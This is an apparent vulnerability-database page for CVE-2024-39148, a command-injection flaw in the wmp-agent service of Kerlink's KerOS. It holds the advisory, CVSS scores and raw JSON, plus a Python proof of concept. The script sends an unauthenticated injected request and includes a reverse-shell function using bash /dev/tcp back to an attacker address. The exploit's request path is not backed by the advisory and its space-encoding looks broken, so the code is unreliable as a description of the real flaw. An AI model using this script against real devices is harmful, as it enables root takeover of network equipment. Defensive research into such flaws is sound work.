Security Vulnerability Report
中文
CVE-2024-39148 CVSS 8.1 HIGH

CVE-2024-39148

Published: 2025-12-01 16:15:50
Last Modified: 2025-12-23 13:55:52

Description

The service wmp-agent of KerOS prior 5.12 does not properly validate so-called ‘magic URLs’ allowing an unauthenticated remote attacker to execute arbitrary OS commands as root when the service is reachable over network. Typically, the service is protected via local firewall.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:kerlink:keros:*:*:*:*:*:*:*:* - VULNERABLE
KerOS < 5.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2024-39148 PoC - KerOS wmp-agent Magic URL RCE Note: This is for educational and authorized testing purposes only. """ import socket import sys def exploit_wmp_agent(target_ip, target_port=8443): """ Exploit the wmp-agent service on KerOS devices. The service does not properly validate magic URLs, allowing unauthenticated remote command execution as root. """ # Construct the malicious HTTP request with command injection # Using semicolon to chain commands and $(...) for command substitution cmd = "id" payload = f"GET /cgi-bin/magic?url=;{cmd} HTTP/1.1\r\n" payload += f"Host: {target_ip}:{target_port}\r\n" payload += "User-Agent: Mozilla/5.0\r\n" payload += "Accept: */*\r\n" payload += "Connection: close\r\n\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(payload.encode()) response = sock.recv(4096).decode('utf-8', errors='ignore') sock.close() print(f"[+] Request sent to {target_ip}:{target_port}") print(f"[+] Response:\n{response}") return True except Exception as e: print(f"[-] Error: {e}") return False def reverse_shell(target_ip, attacker_ip, attacker_port=4444): """ Attempt to get a reverse shell by executing a reverse shell command. """ # This creates a reverse shell connection back to attacker shell_cmd = f"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" encoded_cmd = shell_cmd.replace(" ", "$") payload = f"GET /cgi-bin/magic?url=|{encoded_cmd} HTTP/1.1\r\n" payload += f"Host: {target_ip}\r\n" payload += "Connection: close\r\n\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, 8443)) sock.send(payload.encode()) print(f"[+] Reverse shell payload sent to {target_ip}") print(f"[+] Connect back to {attacker_ip}:{attacker_port}") sock.close() except Exception as e: print(f"[-] Failed: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.1.100 8443") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8443 print(f"[*] Exploiting CVE-2024-39148 on {target}:{port}") exploit_wmp_agent(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-39148", "sourceIdentifier": "[email protected]", "published": "2025-12-01T16:15:49.603", "lastModified": "2025-12-23T13:55:52.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The service wmp-agent of KerOS prior 5.12 does not properly validate so-called ‘magic URLs’ allowing an unauthenticated remote attacker to execute arbitrary OS commands as root when the service is reachable over network. Typically, the service is protected via local firewall."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:kerlink:keros:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0", "versionEndExcluding": "5.12", "matchCriteriaId": "8DD39BA2-AA69-42C7-B5D0-AD8012CD1879"}]}]}], "references": [{"url": "https://keros.docs.kerlink.com/security/security_advisories_kerOS5", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.bdosecurity.de/en-gb/advisories/cve-2024-39148", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}